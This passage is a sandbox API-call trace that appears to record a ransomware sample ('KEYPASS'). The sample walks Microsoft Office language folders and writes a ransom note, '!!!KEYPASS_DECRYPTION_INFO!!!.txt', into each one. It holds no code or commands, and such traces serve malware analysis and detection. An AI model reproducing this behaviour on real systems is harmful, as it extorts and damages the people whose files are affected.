Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb38 [0260.133] GetFileType (hFile=0xb38) returned 0x1 [0260.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.134] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.134] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.134] WriteFile (in: hFile=0xb38, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.134] WriteFile (in: hFile=0xb38, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.134] CloseHandle (hObject=0xb38) returned 1 [0260.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bdc8 [0260.135] FindNextFileW (in: hFindFile=0x4e2bdc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.135] FindNextFileW (in: hFindFile=0x4e2bdc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.135] FindNextFileW (in: hFindFile=0x4e2bdc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.135] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.135] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.135] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.135] GetLastError () returned 0x3f0 [0260.135] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.135] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sr-latn-rs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0260.137] GetFileType (hFile=0x300) returned 0x1 [0260.137] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.137] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.137] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.137] WriteFile (in: hFile=0x300, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.138] WriteFile (in: hFile=0x300, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.138] CloseHandle (hObject=0x300) returned 1 [0260.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2b848 [0260.138] FindNextFileW (in: hFindFile=0x4e2b848, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.138] FindNextFileW (in: hFindFile=0x4e2b848, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.139] FindNextFileW (in: hFindFile=0x4e2b848, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.139] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-RS\\msipc.dll.mui") returned=".mui" [0260.139] FindNextFileW (in: hFindFile=0x4e2b848, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.139] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.139] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.139] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.139] GetLastError () returned 0x3f0 [0260.139] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.139] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\sv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb3c [0260.139] GetFileType (hFile=0xb3c) returned 0x1 [0260.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.140] WriteFile (in: hFile=0xb3c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.140] WriteFile (in: hFile=0xb3c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.141] CloseHandle (hObject=0xb3c) returned 1 [0260.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bfc8 [0260.141] FindNextFileW (in: hFindFile=0x4e2bfc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.141] FindNextFileW (in: hFindFile=0x4e2bfc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.141] FindNextFileW (in: hFindFile=0x4e2bfc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.141] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\msipc.dll.mui") returned=".mui" [0260.141] FindNextFileW (in: hFindFile=0x4e2bfc8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.141] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.141] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.141] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.141] GetLastError () returned 0x3f0 [0260.141] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.141] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\th\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb40 [0260.144] GetFileType (hFile=0xb40) returned 0x1 [0260.144] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.144] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.144] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.144] WriteFile (in: hFile=0xb40, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.145] WriteFile (in: hFile=0xb40, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.145] CloseHandle (hObject=0xb40) returned 1 [0260.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2be08 [0260.145] FindNextFileW (in: hFindFile=0x4e2be08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.146] FindNextFileW (in: hFindFile=0x4e2be08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.146] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.146] FindNextFileW (in: hFindFile=0x4e2be08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.146] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\msipc.dll.mui") returned=".mui" [0260.146] FindNextFileW (in: hFindFile=0x4e2be08, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.146] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.146] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.146] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.146] GetLastError () returned 0x3f0 [0260.146] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.146] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb44 [0260.148] GetFileType (hFile=0xb44) returned 0x1 [0260.148] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.148] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.148] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.148] WriteFile (in: hFile=0xb44, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.149] WriteFile (in: hFile=0xb44, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.149] CloseHandle (hObject=0xb44) returned 1 [0260.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bb88 [0260.149] FindNextFileW (in: hFindFile=0x4e2bb88, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.149] FindNextFileW (in: hFindFile=0x4e2bb88, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.149] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.150] FindNextFileW (in: hFindFile=0x4e2bb88, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\msipc.dll.mui") returned=".mui" [0260.150] FindNextFileW (in: hFindFile=0x4e2bb88, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.150] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.150] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.150] GetLastError () returned 0x3f0 [0260.150] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.150] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\uk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb48 [0260.151] GetFileType (hFile=0xb48) returned 0x1 [0260.151] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.151] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.151] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.152] WriteFile (in: hFile=0xb48, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.152] WriteFile (in: hFile=0xb48, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.153] CloseHandle (hObject=0xb48) returned 1 [0260.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2b8c8 [0260.153] FindNextFileW (in: hFindFile=0x4e2b8c8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.153] FindNextFileW (in: hFindFile=0x4e2b8c8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.153] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.153] FindNextFileW (in: hFindFile=0x4e2b8c8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.153] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\msipc.dll.mui") returned=".mui" [0260.153] FindNextFileW (in: hFindFile=0x4e2b8c8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.153] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.153] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.153] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.153] GetLastError () returned 0x3f0 [0260.153] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.153] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\vi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4c [0260.154] GetFileType (hFile=0xb4c) returned 0x1 [0260.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.154] WriteFile (in: hFile=0xb4c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.155] WriteFile (in: hFile=0xb4c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.156] CloseHandle (hObject=0xb4c) returned 1 [0260.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2bf48 [0260.156] FindNextFileW (in: hFindFile=0x4e2bf48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.156] FindNextFileW (in: hFindFile=0x4e2bf48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.156] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.156] FindNextFileW (in: hFindFile=0x4e2bf48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.156] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\msipc.dll.mui") returned=".mui" [0260.156] FindNextFileW (in: hFindFile=0x4e2bf48, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0260.156] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0260.156] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0260.156] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0260.157] GetLastError () returned 0x3f0 [0260.157] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0260.157] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0260.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\zh-cn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb54 [0260.159] GetFileType (hFile=0xb54) returned 0x1 [0260.159] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0260.159] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0260.159] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0260.159] WriteFile (in: hFile=0xb54, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0260.160] WriteFile (in: hFile=0xb54, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0260.160] CloseHandle (hObject=0xb54) returned 1 [0260.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x4e2b908 [0260.161] FindNextFileW (in: hFindFile=0x4e2b908, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.161] FindNextFileW (in: hFindFile=0x4e2b908, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.161] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0260.161] FindNextFileW (in: hFindFile=0x4e2b908, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0260.161] PathFindExtensionW 